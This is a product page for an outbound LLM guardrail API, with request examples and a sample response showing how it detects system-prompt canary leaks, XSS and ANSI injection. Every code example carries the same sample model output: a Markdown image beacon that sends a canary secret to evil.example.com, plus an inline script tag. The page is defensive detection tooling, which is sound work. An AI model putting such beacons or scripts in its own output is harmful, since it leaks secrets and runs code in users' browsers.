Tinplate 42 Edge APIs

AI Safety & Agents Tier 1 Ready POST /v1/llm-output-guard

LLM Output Guardrail API — Block System-Prompt Leaks, Markdown Beacons & XSS Before Delivery

Scan and sanitize LLM outputs for prompt leakage, Markdown beacons, XSS, and policy violations. Outbound LLM guardrail API that scans and sanitizes model responses for canary/system-prompt leaks, Markdown image exfiltration beacons, XSS, ANSI injection, and policy violations.

Try It Live in Your Browser · No API Key Required

1. Interactive Sandbox & Sample JSON Output

200 OK · Ready

Editable Request JSON (POST /v1/llm-output-guard)

Live 200 OK Response Envelope

{
  "ok": true,
  "data": {
    "verdict": "block",
    "safe": false,
    "risk_score": 100,
    "sanitized_output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=[REDACTED_CANARY]) [REMOVED_UNSAFE_HTML]",
    "findings": [
      {
        "category": "canary_leak",
        "severity": "critical",
        "description": "Secret system-prompt canary token leaked in LLM output",
        "match": "CANARY-9911",
        "offset": 72
      },
      {
        "category": "xss_executable",
        "severity": "critical",
        "description": "Inline HTML <script> tag in LLM output",
        "match": "<script>alert(1)</script>",
        "offset": 85
      },
      {
        "category": "markdown_exfiltration",
        "severity": "critical",
        "description": "Markdown image tag points to an untrusted host or carries query-string exfiltration parameters",
        "match": "![beacon](https://evil.example.com/collect?secret=CANARY-9911)",
        "offset": 22
      }
    ],
    "metrics": {
      "char_count": 110,
      "estimated_tokens": 28,
      "system_prompt_overlap_ratio": 0,
      "repetition_ratio": 0,
      "refusal_detected": false
    }
  },
  "meta": {
    "request_id": "req_out_01",
    "ms": 1
  }
}
\",\n \"canary_tokens\": [\n \"CANARY-9911\"\n ],\n \"allowed_link_domains\": [\n \"tinplate.dev\"\n ]\n}"; var inputEl = document.getElementById("demo-input"); var outputEl = document.getElementById("demo-output"); var statusEl = document.getElementById("demo-status"); var runBtn = document.getElementById("demo-run-btn"); var resetBtn = document.getElementById("demo-reset-btn"); if (!inputEl || !outputEl || !runBtn) return; resetBtn.addEventListener("click", function() { inputEl.value = defaultSample; statusEl.textContent = "Sample Restored"; }); runBtn.addEventListener("click", async function() { runBtn.disabled = true; statusEl.textContent = "Running on Edge Worker..."; var t0 = performance.now(); try { var res = await fetch("/demo/llm-output-guard", { method: "POST", headers: { "Content-Type": "application/json" }, body: inputEl.value }); var text = await res.text(); var dt = Math.round(performance.now() - t0); try { var parsed = JSON.parse(text); outputEl.textContent = JSON.stringify(parsed, null, 2); var workerMs = parsed && parsed.meta && typeof parsed.meta.ms === "number" ? parsed.meta.ms + " ms Worker" : dt + " ms RTT"; statusEl.textContent = res.status + " " + (res.ok ? "OK" : "Error") + " · " + workerMs; } catch (_) { outputEl.textContent = text; statusEl.textContent = "HTTP " + res.status; } } catch (err) { statusEl.textContent = "Network Error"; outputEl.textContent = String(err); } finally { runBtn.disabled = false; } }); })();

2. Quickstart Code Examples

Full TypeScript & Python SDK →
curl -X POST "https://api.tinplate.dev/v1/llm-output-guard" \
  -H "Content-Type: application/json" \
  -H "X-RapidAPI-Key: YOUR_RAPIDAPI_KEY" \
  -d '{"output":"Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>","canary_tokens":["CANARY-9911"],"allowed_link_domains":["tinplate.dev"]}'
import { TinplateClient } from "@tinplate/sdk"; // npm install @tinplate/sdk

const tinplate = new TinplateClient({
  rapidApiKey: process.env.RAPIDAPI_KEY!,
});

const { data, meta } = await tinplate.call("/v1/llm-output-guard", {
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
});
console.log(`[${meta.ms} ms]`, data);
import requests

response = requests.post(
    "https://api.tinplate.dev/v1/llm-output-guard",
    headers={
        "Content-Type": "application/json",
        "X-RapidAPI-Key": "YOUR_RAPIDAPI_KEY",
    },
    json={
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
}
)
print(response.json())
const response = await fetch("https://api.tinplate.dev/v1/llm-output-guard", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-RapidAPI-Key": "YOUR_RAPIDAPI_KEY",
  },
  body: JSON.stringify({
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
}),
});
const result = await response.json();
console.log(result);
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "tinplate_llm_output_guard",
    "arguments": {
      "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
      "canary_tokens": [
        "CANARY-9911"
      ],
      "allowed_link_domains": [
        "tinplate.dev"
      ]
    }
  }
}
OpenAPI 3.0.3 Schema Contract

Request Parameters & Response Schema Reference

Request Body Parameters (POST /v1/llm-output-guard)

Parameter Type & Constraints Description
outputrequired string
minLen: 1, maxLen: 200000
Raw text or Markdown response generated by the LLM.
system_promptoptional string
maxLen: 50000
Optional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.
canary_tokensoptional string[] Optional secret canary strings embedded in the system prompt that must never appear in the output.
blocked_termsoptional string[] Optional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.
allowed_link_domainsoptional string[] Optional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged.
check_regulated_adviceoptional boolean
default: true
Flag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.

Response data Object Fields (200 OK)

Field Type Description
verdict "allow" | "sanitize" | "block" Field 'verdict'
safe boolean Field 'safe'
risk_score integer Field 'risk_score'
sanitized_output string Field 'sanitized_output'
findings object[] Field 'findings'
metrics object Field 'metrics'

3. What LLM Output Safety, Leakage & Format Guardrail API Detects & Validates

Honest Engineering Boundaries

4. Known Limitations & Test Verification

Release Version: v1.0.7 · Last Verified / Benchmarked: 14 November 2026 · Latency Note: Sub-millisecond figures measure in-Worker V8 compute time (typical client HTTPS network RTT to the nearest Cloudflare PoP is 15–65 ms) · See Full Portfolio Benchmarks & Corpora →

5. Marketplace Plans & Payload Quotas

Plan Monthly Price Included Requests Rate Limit Max Request Payload Best For
BASIC $0.00 / month 500 / month (hard limit) 10 req / min 64 KB Evaluation, local development & CI smoke tests
PRO $9.99 / month 15,000 / month 60 req / min 128 KB Solo developers & production apps
ULTRA $29.99 / month 100,000 / month 300 req / min 256 KB Growing SaaS & multi-agent pipelines
MEGA $79.99 / month 500,000 / month 1,000 req / min 256 KB High-volume enterprise workloads

6. Frequently Asked Questions

How does it differ from 01-prompt-guard?

01-prompt-guard inspects untrusted user inputs and RAG chunks entering the model, whereas 31-llm-output-guard inspects and sanitizes the model's generated response before rendering it to end users.

How does system prompt leakage detection work?

Pass your system_prompt and/or canary_tokens; the engine checks for exact canary matches, 5-word n-gram overlap ratios, and meta-instruction leak phrases.

Can I use sanitized_output directly in my UI?

When verdict is 'sanitize', sanitized_output has blocked terms, ANSI escapes, and duplicate repetition loops stripped. When verdict is 'block', reject or regenerate the response.

Zero Payload Logging

7. Data Handling, Privacy & Marketplace Proxy Disclosure

Stateless in-memory evaluation; zero payload logging or retention.

Worker Zero-Logging Guarantee: Cloudflare Workers Observability and invocation logging are disabled in configuration (observability.enabled = false, head_sampling_rate = 0, invocation_logs = false). Payloads are processed strictly in volatile V8 memory and never logged or stored by Tinplate.

Marketplace Proxies vs. Direct Bearer Key: Requests sent via RapidAPI or Zyla API Hub pass through those marketplaces' proxy infrastructure (subject to their respective privacy policies). Security-sensitive workloads requiring end-to-end zero-intermediary processing can connect directly to https://api.tinplate.dev using a Direct Bearer Key (Authorization: Bearer <API_KEY>). Read our full Privacy Notice and OpenAPI 3.0.3 JSON Schema.

Related Tinplate APIs

🔒 POST /v1/prompt-guard Live on Hub

Prompt Injection Detection API

Catch prompt injections, role hijacks, and encoded jailbreaks in user inputs and RAG chunks.

🛡️ POST /v1/pii-redactor Live on Hub

PII Redactor API

Mask emails, phones, IBANs, cards, and EU IDs with reversible tokens before LLM calls.

⚖️ POST /v1/hallucination-diff AI Safety & Agents

Deterministic Hallucination Diff API

Fast first filter to catch unsupported numbers, dates, and names in LLM answers vs RAG sources.